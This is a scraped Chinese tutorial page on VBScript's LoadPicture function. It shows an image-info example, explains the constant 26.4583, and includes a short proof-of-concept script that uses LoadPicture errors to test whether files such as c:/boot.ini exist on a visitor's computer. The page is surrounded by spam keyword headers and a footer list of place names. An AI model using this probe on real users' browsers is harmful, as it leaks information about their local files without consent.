国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 編程 > VBScript > 正文

vbscript LoadPicture函數使用方法與漏洞利用

2019-10-26 18:02:01
字體:
來源:轉載
供稿:網友

復制代碼 代碼如下:

<title>LoadPicture函數</title>
<form name="frm">
選擇圖片<input type="file" name="pic" onChange="GetPicInfor()" >
</form>
<script language="vbscript">

Sub GetPicInfor()
dim objpic,iWidth,iHeight
dim pictype,picpath
picpath=document.frm.pic.value
set objpic=Loadpicture(picpath)
iWidth = round(objpic.width / 26.4583) '26.4583是像素值
iHeight = round(objpic.height / 26.4583)
select case objpic.type
case 0
pictype = "None"
case 1
pictype = "Bitmap"
case 2
pictype = "Metafile"
case 3
pictype = "Icon"
case 4
pictype = "Win32-enhanced metafile"
end select
document.write "你選擇了圖片"&picpath
document.write "<li>長度:"&iHeight&"</li>"
document.write "<li>寬度:"&iwidth&"</li>"
document.write "<li>類型:"&pictype&"</li>"
End Sub
</script>


不過這個函數有個漏洞,可以探測電腦上存在的文件名。2004年的漏洞,微軟現在也沒補,示例:

復制代碼 代碼如下:

<form onsubmit="doIt(this);return false">
<input name="filename" value="c:/boot.ini" size="80" type="text"><input type="submit">
</form>
<script language="vbscript">
Sub loadIt(filename)
LoadPicture(filename)
End Sub
</script>
<script language="javascript">
function doIt(form) {
try {
loadIt(form.filename.value);
} catch(e) {
result = e.number;
}
if (result != -2146827856) {
alert('file exists');
} else {
alert('file does not exist');
}
}
</script>


這段代碼中有一個“魔法數字(Magic Number)”26.4583,曾經有位昵稱是“亂碼”的朋友問過我這個26.4583是怎么來的,當時我也不知道。

前段時間逆向分析了一下vbscript.dll,才發現了其中的奧秘:
復制代碼 代碼如下:

26.4583 = 2540 / 96

那你一定要問,這個2540和96又是怎么來的?

要弄清楚這個問題,首先要知道VBS的LoadPicture函數返回的到底是什么,VBS文檔是這么描述LoadPicture函數的:

Returns a picture object. Available only on 32-bit platforms.

只說返回圖片對象,卻沒說該圖片對象有什么屬性和方法。文檔語焉不詳,只好動用OllyDbg了:



LoadPicture函數內部調用了OleLoadPicture函數,查文檔可知返回的是IPictureDisp接口。不過后來我發現了更簡單的方法,那就是查VB的函數聲明(誰讓它們是一家人呢),在VB的對象瀏覽器中查找LoadPicture函數:

Function LoadPicture([FileName], [Size], [ColorDepth], [X], [Y]) As IPictureDisp雖然VBS的LoadPicture函數比VB的簡單,但是返回值應該是一樣的。
發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表

圖片精選

主站蜘蛛池模板: 彭水| 泰和县| 鄂州市| 卢湾区| 宁乡县| 乌兰察布市| 双城市| 遵化市| 岳阳市| 托里县| 屏边| 互助| 涞水县| 西城区| 镇江市| 英吉沙县| 青阳县| 和林格尔县| 台湾省| 延安市| 鄂州市| 修文县| 兴和县| 横山县| 德化县| 蛟河市| 安义县| 乐业县| 康平县| 梅河口市| 会泽县| 安宁市| 浦北县| 洪湖市| 上杭县| 兴山县| 郓城县| 六盘水市| 洛隆县| 承德县| 曲沃县|